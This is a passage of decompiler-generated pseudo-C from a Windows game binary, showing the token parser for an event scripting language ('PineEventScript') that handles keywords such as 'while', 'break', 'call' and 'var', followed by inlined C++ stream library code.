&PineEventScriptNode::String::_vftable_; *((_BYTE *)v15 + 4) = 0; } else { v15 = 0; } v2->t_Atom = (PineEventScriptNode::ScriptAtom *)v15; if ( (unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v15)(v15, tr) ) return 1; v16 = v2->t_Atom; if ( v16 ) { v17 = v2->t_Atom; v16->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v17); } v18 = operator new(0x34u); if ( v18 ) PineEventScriptNode::SystemFunction::SystemFunction((PineEventScriptNode::SystemFunction *)v18); else v19 = 0; v2->t_Atom = v19; if ( v19->vfptr->sa_Load(v19, tr) ) return 1; v20 = v2->t_Atom; if ( v20 ) { v21 = v2->t_Atom; v20->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v21); } if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, "(") ) { v22 = operator new(0x11Cu); if ( v22 ) PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v22); else v23 = 0; v2->t_Atom = v23; if ( v23->vfptr->sa_Load(v23, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ")") ) return 1; v24 = v2->t_Atom; if ( v24 ) { v25 = v2->t_Atom; v24->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v25); } v2->t_Atom = 0; } return 0; } v8 = operator new(0xCu); if ( v8 ) { *((_DWORD *)v8 + 2) = 0; *((_DWORD *)v8 + 1) = 0; *(_DWORD *)v8 = &PineEventScriptNode::Term::_vftable_; v2->t_Term = (PineEventScriptNode::Term *)v8; result = (**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v8)(v8, tr); } else { v2->t_Term = 0; result = (*(int (__thiscall **)(_DWORD, PineScriptReader::TokenReader *))v0)(0, tr); } return result; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 650C54: using guessed type int (__stdcall *PineEventScriptNode__String___vftable_)(int tr); // 650C64: using guessed type int (__stdcall *PineEventScriptNode__Number___vftable_)(int tr); // 650C84: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); //----- (004C0490) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::BlockName::sa_Load(PineEventScriptNode::BlockName *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::BlockName *v2; // ebp@1 MobTacticElement::MobActionArgument *v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 unsigned int v9; // [sp+110h] [bp-4h]@1 v9 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_15; v3 = &argument; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == LOBYTE(v3->maa_MobHandle); v4 = (PineScriptToken *)((char *)v4 + 1); v3 = (MobTacticElement::MobActionArgument *)((char *)v3 + 1); --v5; } while ( v6 ); if ( v6 ) { if ( !(unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Id *, _DWORD, PineScriptReader::TokenReader *))v2->bn_Name.baseclass_0.vfptr->sa_Load)( &v2->bn_Name, 0, tr) ) return 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) || PineScriptToken::operator__(&tkn, (char *)&unk_63D200) ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } } else { LABEL_15: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 1; } //----- (004C0550) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Load(PineEventScriptNode::Block *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Block *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 int v7; // edi@8 char *v8; // esi@8 signed int v9; // ecx@8 bool v10; // zf@8 List *v11; // ecx@12 int v12; // eax@12 int v13; // eax@13 List *v14; // ecx@14 int v15; // eax@14 PineScriptToken v17; // [sp+10h] [bp-204h]@1 PineScriptToken tkn; // [sp+110h] [bp-104h]@1 unsigned int v19; // [sp+210h] [bp-4h]@1 v19 = (unsigned int)&v17 ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_23; v3 = (int)"open"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { ((void (__fastcall *)(PineEventScriptNode::BlockName *, _DWORD, PineScriptReader::TokenReader *))v2->b_BlockName.baseclass_0.vfptr->sa_Load)( &v2->b_BlockName, 0, tr); while ( 1 ) { v17.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &v17) ) break; v7 = (int)"close"; v8 = (char *)&v17; v9 = 6; v10 = 1; do { if ( !v9 ) break; v10 = *v8++ == *(_BYTE *)v7++; --v9; } while ( v10 ); if ( v10 ) return 1; memcpy(&tr->tr_UngetToken, &v17, sizeof(tr->tr_UngetToken)); v11 = v2->b_StatementList; v12 = v11->l_Finger.empty; if ( ((_WORD)v12 == -1 || (v13 = ((int (__stdcall *)(int))v11->vfptr->l_AllocZ)(v12)) == 0) && ((List::l_Enlargement(v2->b_StatementList, 8), v14 = v2->b_StatementList, v15 = v14->l_Finger.empty, (_WORD)v15 == -1) || (v13 = ((int (__stdcall *)(int))v14->vfptr->l_AllocZ)(v15)) == 0) || !(unsigned __int16)(**(int (__thiscall ***)(int, PineScriptReader::TokenReader *))v13)(v13, tr) ) return 0; } } else { LABEL_23: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004C0680) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Load(PineEventScriptNode::StateVarDeclear *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateVarDeclear *v2; // ebp@1 char v3[4]; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 int v7; // edi@8 PineScriptToken *v8; // esi@8 signed int v9; // ecx@8 bool v10; // zf@8 int v11; // eax@14 int v12; // edi@16 PineScriptToken *v13; // esi@16 signed int v14; // ecx@16 bool v15; // zf@16 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 unsigned int v18; // [sp+110h] [bp-4h]@1 v18 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_26; *(_DWORD *)v3 = "var"; v4 = &tkn; v5 = 4; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == **(_BYTE **)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++*(_DWORD *)v3; --v5; } while ( v6 ); if ( v6 ) { v2->svd_VarNum = 0; while ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v7 = (int)"."; v8 = &tkn; v9 = 2; v10 = 1; do { if ( !v9 ) break; v10 = v8->pst_Buffer[0] == *(_BYTE *)v7; v8 = (PineScriptToken *)((char *)v8 + 1); ++v7; --v9; } while ( v10 ); if ( v10 ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); if ( !(unsigned __int16)v2->svd_VarName[v2->svd_VarNum].baseclass_0.vfptr->sa_Load( &v2->svd_VarName[v2->svd_VarNum], tr) ) return 0; if ( !(unsigned __int16)v2->svd_Express[v2->svd_VarNum].baseclass_0.vfptr->sa_Load( &v2->svd_Express[v2->svd_VarNum], tr) ) { AssertClass::ac_AssertFail(&shineassert, "Var : Not init", 1); return 0; } v11 = v2->svd_VarNum + 1; v2->svd_VarNum = v11; if ( (unsigned int)v11 >= 0x40 ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v12 = (int)"."; v13 = &tkn; v14 = 2; v15 = 1; do { if ( !v14 ) break; v15 = v13->pst_Buffer[0] == *(_BYTE *)v12; v13 = (PineScriptToken *)((char *)v13 + 1); ++v12; --v14; } while ( v15 ); if ( v15 ) return 1; } return 0; } } } else { LABEL_26: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004C07E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Load(PineEventScriptNode::StateInfinite *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateInfinite *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 unsigned __int16 result; // ax@6 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 unsigned int v9; // [sp+110h] [bp-4h]@1 v9 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_10; v3 = (int)"infinite"; v4 = &tkn; v5 = 9; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { result = ((int (__fastcall *)(PineEventScriptNode::Block *, _DWORD, PineScriptReader::TokenReader *))v2->si_Block.baseclass_0.baseclass_0.vfptr->sa_Load)( &v2->si_Block, 0, tr); } else { LABEL_10: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); result = 0; } return result; } //----- (004C0870) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Load(PineEventScriptNode::StateWhile *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateWhile *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 unsigned __int16 result; // ax@8 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 unsigned int v9; // [sp+110h] [bp-4h]@1 v9 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_13; v3 = (int)"while"; v4 = &tkn; v5 = 6; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { result = (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Condition *, _DWORD, PineScriptReader::TokenReader *))v2->sw_Condition.baseclass_0.vfptr->sa_Load)( &v2->sw_Condition, 0, tr) && (unsigned __int16)v2->sw_Block.baseclass_0.baseclass_0.vfptr->sa_Load(&v2->sw_Block, tr); } else { LABEL_13: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); result = 0; } return result; } //----- (004C0920) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Load(PineEventScriptNode::StateBreak *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateBreak *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v7; // eax@8 PineEventScriptNode::Express *v8; // eax@9 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 unsigned int v11; // [sp+110h] [bp-4h]@1 v11 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_19; v3 = (int)"break"; v4 = &tkn; v5 = 6; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, ".") || ((memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)), (v7 = operator new(0x11Cu)) == 0) ? (v8 = 0) : PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v7), (v2->b_Break = v8, v8->baseclass_0.vfptr->sa_Load((PineEventScriptNode::ScriptAtom *)v8, tr)) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".")) ) return 1; } } else { LABEL_19: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004C0A30) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Load(PineEventScriptNode::StateCall *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateCall *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v8; // eax@10 PineEventScriptNode::Express *v9; // eax@11 void *v10; // edi@15 PineEventScriptNode::StateCall *v11; // [sp+10h] [bp-108h]@1 PineScriptToken tkn; // [sp+14h] [bp-104h]@1 unsigned int v13; // [sp+114h] [bp-4h]@1 v13 = (unsigned int)&v11 ^ __security_cookie; v2 = this; v11 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_17; v3 = (int)"call"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) goto LABEL_17; if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Express *, _DWORD, PineScriptReader::TokenReader *))v2->sc_CallBlock.baseclass_0.vfptr->sa_Load)( &v2->sc_CallBlock, 0, tr) ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, ".") ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v8 = operator new(0x11Cu); if ( v8 ) PineEventScriptNode::Express::Express((PineEventScriptNode::Express *)v8); else v9 = 0; v11->sc_DefaultBlock = v9; if ( !v9->baseclass_0.vfptr->sa_Load((PineEventScriptNode::ScriptAtom *)v9, tr) ) return 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) return PineScriptToken::operator__(&tkn, ".") != 0; v10 = &tr->tr_UngetToken; goto LABEL_18; } LABEL_17: v10 = &tr->tr_UngetToken; LABEL_18: memcpy(v10, &tkn, 0x100u); } return 0; } //----- (004C0B60) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Load(PineEventScriptNode::StatePermillage *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StatePermillage *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken tkn; // [sp+10h] [bp-104h]@1 unsigned int v9; // [sp+110h] [bp-4h]@1 v9 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_10; v3 = (int)"permillage"; v4 = &tkn; v5 = 11; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) { LABEL_10: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Identify *, _DWORD, PineScriptReader::TokenReader *))v2->sp_Var.baseclass_0.vfptr->sa_Load)( &v2->sp_Var, 0, tr) ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".") ) return 1; goto LABEL_10; } return 0; } //----- (004C0C10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatementBaseExpress::sa_Load(PineEventScriptNode::StatementBaseExpress *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StatementBaseExpress *v2; // ebp@1 int v3; // esi@2 PineScriptToken *v4; // eax@2 bool v5; // cf@3 char v6; // dl@5 unsigned __int8 v7; // bl@5 __int16 v8; // ax@7 PineScriptToken tkn; // [sp+Ch] [bp-104h]@1 unsigned int v11; // [sp+10Ch] [bp-4h]@1 v11 = (unsigned int)&tkn ^ __security_cookie; v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_18; v3 = (int)v2->sbe_Command; v4 = &tkn; while ( 1 ) { v5 = (unsigned __int8)v4->pst_Buffer[0] < *(_BYTE *)v3; if ( v4->pst_Buffer[0] != *(_BYTE *)v3 ) break; if ( !v4->pst_Buffer[0] ) goto LABEL_7; v6 = v4->pst_Buffer[1]; v7 = *(_BYTE *)(v3 + 1); v5 = v6 < v7; if ( v6 != v7 ) break; v4 = (PineScriptToken *)((char *)v4 + 2); v3 += 2; if ( !v6 ) { LABEL_7: v8 = 0; goto LABEL_9; } } v8 = -v5 - (v5 - 1); LABEL_9: if ( v8 ) { LABEL_18: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { if ( (unsigned __int16)v2->sbe_Express.baseclass_0.vfptr->sa_Load(&v2->sbe_Express, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".") ) return 1; } return 0; } //----- (004C0CF0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Load(PineEventScriptNode::StateAssignment *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateAssignment *v2; // ebp@1 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 unsigned __int16 result; // ax@10 PineScriptToken tkn; // [sp+8h] [bp-104h]@1 unsigned int v9; // [sp+108h] [bp-4h]@1 v2 = this; v9 = (unsigned int)&tkn ^ __security_cookie; if ( !(unsigned __int16)((int (__stdcall *)(PineScriptReader::TokenReader *))this->sa_LeftValue.baseclass_0.vfptr->sa_Load)(tr) || (tkn.pst_Buffer[0] = 0, !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn)) ) goto LABEL_14; v3 = (int)"="; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 && (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Express *, _DWORD, PineScriptReader::TokenReader *))v2->sa_Express.baseclass_0.vfptr->sa_Load)( &v2->sa_Express, 0, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && !PineScriptToken::operator__(&tkn, ".") ) result = 1; else LABEL_14: result = 0; return result; } //----- (004C0DA0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::sa_Load(PineEventScriptNode::OtherStatement *this, PineScriptReader::TokenReader *tr) { PineScriptReader::TokenReader *v2; // edi@1 PineEventScriptNode::OtherStatement *v3; // ebp@1 int v4; // esi@2 PineScriptToken *v5; // eax@2 bool v6; // cf@3 char v7; // dl@5 __int16 v8; // ax@7 int v9; // ebp@12 int v10; // edi@14 PineScriptToken *v11; // esi@14 signed int v12; // ecx@14 bool v13; // zf@14 void *v14; // eax@18 PineScriptReader::TokenReader *v15; // ecx@21 bool v16; // sf@22 unsigned __int8 v17; // of@22 int v19; // eax@24 int v20; // eax@26 const void *v21; // esi@28 PineScriptReader::TokenReader *thisa; // [sp+10h] [bp-210h]@1 int i; // [sp+14h] [bp-20Ch]@12 PineEventScriptNode::OtherStatement *v24; // [sp+18h] [bp-208h]@1 PineScriptToken tkn; // [sp+1Ch] [bp-204h]@1 PineScriptToken err; // [sp+11Ch] [bp-104h]@28 unsigned int v27; // [sp+21Ch] [bp-4h]@1 v2 = tr; v27 = (unsigned int)&thisa ^ __security_cookie; v3 = this; v24 = this; thisa = tr; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_34; v4 = (int)v3->os_Command; v5 = &tkn; while ( 1 ) { v6 = (unsigned __int8)v5->pst_Buffer[0] < *(_BYTE *)v4; if ( v5->pst_Buffer[0] != *(_BYTE *)v4 ) break; if ( !v5->pst_Buffer[0] ) goto LABEL_7; v7 = v5->pst_Buffer[1]; v6 = (unsigned __int8)v7 < *(_BYTE *)(v4 + 1); if ( v7 != *(_BYTE *)(v4 + 1) ) break; v5 = (PineScriptToken *)((char *)v5 + 2); v4 += 2; if ( !v7 ) { LABEL_7: v8 = 0; goto LABEL_9; } } v8 = -v6 - (v6 - 1); LABEL_9: if ( v8 ) { LABEL_34: v21 = &tkn; } else { if ( v3->os_IDRead && !(unsigned __int16)v3->os_Ident.baseclass_0.vfptr->sa_Load(&v3->os_Ident, tr) ) return 0; i = 0; v9 = (int)v3->os_Express; while ( 1 ) { if ( PineScriptReader::TokenReader::tr_GetToken(thisa, &tkn) ) { v10 = (int)"."; v11 = &tkn; v12 = 2; v13 = 1; do { if ( !v12 ) break; v13 = v11->pst_Buffer[0] == *(_BYTE *)v10; v11 = (PineScriptToken *)((char *)v11 + 1); ++v10; --v12; } while ( v13 ); if ( v13 ) break; } memcpy(&thisa->tr_UngetToken, &tkn, sizeof(thisa->tr_UngetToken)); v14 = operator new(0x11Cu); if ( v14 ) { *(_DWORD *)v14 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v14 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v14 + 3) = 0; *((_DWORD *)v14 + 2) = 0; *((_DWORD *)v14 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v14 + 20) = 0; *((_DWORD *)v14 + 69) = 0; *((_DWORD *)v14 + 70) = 0; } else { v14 = 0; } v15 = thisa; *(_DWORD *)v9 = v14; if ( !(unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v14)(v14, v15) ) return 0; v9 += 4; v17 = __OFSUB__(i + 1, 32); v16 = i++ - 31 < 0; if ( !(v16 ^ v17) ) return 1; } v19 = v24->os_ExpressNumMax; if ( v19 <= 0 || !v24->os_Express[v19] && ((v20 = v24->os_ExpressNumMin) == 0 || *((_DWORD *)&v24->os_Ident.i_Exp + v20)) ) return 1; PineScriptToken::PineScriptToken(&err, (char *)"~"); v2 = thisa; v21 = &err; } memcpy(&v2->tr_UngetToken, v21, sizeof(v2->tr_UngetToken)); return 0; } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004C0F60) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::_vbase_destructor(std::basic_stringstream,std::allocator > *this) { std::basic_ios > *v1; // esi@1 v1 = (std::basic_ios > *)this->gap54; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)this + 84)); std::basic_ios>::_basic_ios>(v1); } //----- (004C0F80) -------------------------------------------------------- void *__thiscall std::basic_stringstream_std::allocator>::_scalar_deleting_destructor_(std::basic_stringstream,std::allocator > *this, char a2) { void *v2; // esi@1 std::basic_ios > *v3; // edi@1 v2 = (char *)this - 84; v3 = (std::basic_ios > *)this; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(this); std::basic_ios>::_basic_ios>(v3); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004C0FB0) -------------------------------------------------------- void __thiscall std::basic_ostream>::sentry::_sentry(std::basic_ostream >::sentry *this) { std::basic_ostream > **v1; // esi@1 int v2; // eax@4 v1 = (std::basic_ostream > **)this; if ( !std::uncaught_exception() && (*v1)->dummy[*(_DWORD *)(*(_DWORD *)&(*v1)->dummy[0] + 4) + 16] & 2 ) std::basic_ostream>::flush(*v1); v2 = *(_DWORD *)&(*v1)->dummy[*(_DWORD *)(*(_DWORD *)&(*v1)->dummy[0] + 4) + 40]; if ( v2 ) std::_Mutex::_Unlock((std::_Mutex *)(v2 + 4)); } //----- (004C1020) -------------------------------------------------------- std::basic_ostream > *__cdecl std::operator<<_std::allocator>(std::basic_ostream > *_Ostr, std::basic_string,std::allocator > *_Str) { int v2; // eax@0 int v3; // ebx@0 int v4; // edi@0 int v5; // esi@0 std::basic_string,std::allocator > *v6; // ebx@1 unsigned int v7; // ecx@1 int v8; // eax@1 unsigned int v9; // esi@1 int v10; // eax@7 char *v11; // ecx@9 int v12; // eax@9 int v13; // ecx@9 int v14; // edx@9 int v15; // ecx@11 int v16; // edx@11 int v17; // eax@18 int v18; // ecx@21 int v19; // edx@21 int v20; // eax@21 int v21; // ecx@23 int v22; // edx@23 int v23; // ecx@30 int v24; // eax@30 int v25; // ecx@30 int v26; // edx@30 int v27; // ecx@32 int v28; // edx@32 char *v29; // ecx@39 int v30; // eax@40 int v31; // ebx@44 int v32; // eax@44 signed int v33; // esi@45 int v34; // ecx@48 int v35; // eax@49 int v36; // eax@52 int v38; // [sp-Ch] [bp-30h]@1 int v39; // [sp-8h] [bp-2Ch]@1 int v40; // [sp-4h] [bp-28h]@1 int _Ok; // [sp+0h] [bp-24h]@5 char v42; // [sp+4h] [bp-20h]@5 unsigned int _Size; // [sp+8h] [bp-1Ch]@1 unsigned int _Pad; // [sp+Ch] [bp-18h]@3 int _State; // [sp+10h] [bp-14h]@1 int *v46; // [sp+14h] [bp-10h]@1 int v47; // [sp+18h] [bp-Ch]@1 int (*v48)(); // [sp+1Ch] [bp-8h]@1 int v49; // [sp+20h] [bp-4h]@1 v49 = -1; v48 = _ehhandler_____6DU__char_traits_D_std__V__allocator_D_1__std__YAAAV__basic_ostream_DU__char_traits_D_std___0_AAV10_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0__Z; v47 = v2; v40 = v3; v6 = _Str; v7 = _Str->_Mysize; v39 = v5; v38 = v4; v8 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24]; v9 = 0; v46 = &v38; _State = 0; _Size = v7; if ( v8 <= 0 || v8 <= v7 ) _Pad = 0; else _Pad = v8 - v7; std::basic_ostream>::sentry::sentry( (std::basic_ostream >::sentry *)&_Ok, _Ostr); v49 = 0; if ( !v42 ) { _State = 4; goto LABEL_39; } v10 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 16] & 0x1C0; LOBYTE(v49) = 1; if ( v10 == 64 ) goto LABEL_16; while ( _Pad ) { v11 = (char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v12) = v11[48]; v13 = *((_DWORD *)v11 + 10); v14 = *(_DWORD *)(v13 + 36); if ( *(_DWORD *)v14 && *(_DWORD *)v14 < (unsigned int)(*(_DWORD *)v14 + **(_DWORD **)(v13 + 52)) ) { --**(_DWORD **)(v13 + 52); v15 = *(_DWORD *)(v13 + 36); v16 = (*(_DWORD *)v15)++; *(_BYTE *)v16 = v12; v12 = (unsigned __int8)v12; } else { v12 = (*(int (__cdecl **)(_DWORD, int, int, int))(*(_DWORD *)v13 + 4))((unsigned __int8)v12, v38, v39, v40); } if ( v12 == -1 ) { _State |= 4u; break; } --_Pad; } v9 = 0; if ( _State ) goto LABEL_37; LABEL_16: while ( v9 < _Size ) { if ( v6->_Myres < 0x10 ) v17 = (int)&v6->_Bx; else v17 = *(_DWORD *)&v6->_Bx._Buf[0]; v18 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40]; v19 = *(_DWORD *)(v18 + 36); LOBYTE(v20) = *(_BYTE *)(v17 + v9); if ( *(_DWORD *)v19 ) { if ( *(_DWORD *)v19 < (unsigned int)(*(_DWORD *)v19 + **(_DWORD **)(v18 + 52)) ) { --**(_DWORD **)(v18 + 52); v21 = *(_DWORD *)(v18 + 36); v22 = (*(_DWORD *)v21)++; v6 = _Str; *(_BYTE *)v22 = v20; v20 = (unsigned __int8)v20; goto LABEL_26; } v6 = _Str; } v20 = (*(int (__cdecl **)(_DWORD))(*(_DWORD *)v18 + 4))((unsigned __int8)v20); LABEL_26: if ( v20 == -1 ) { _State |= 4u; break; } ++v9; } if ( !_State ) { while ( _Pad ) { v23 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v24) = _Ostr->dummy[v23 + 48]; v25 = *(_DWORD *)&_Ostr->dummy[v23 + 40]; v26 = *(_DWORD *)(v25 + 36); if ( *(_DWORD *)v26 && *(_DWORD *)v26 < (unsigned int)(*(_DWORD *)v26 + **(_DWORD **)(v25 + 52)) ) { --**(_DWORD **)(v25 + 52); v27 = *(_DWORD *)(v25 + 36); v28 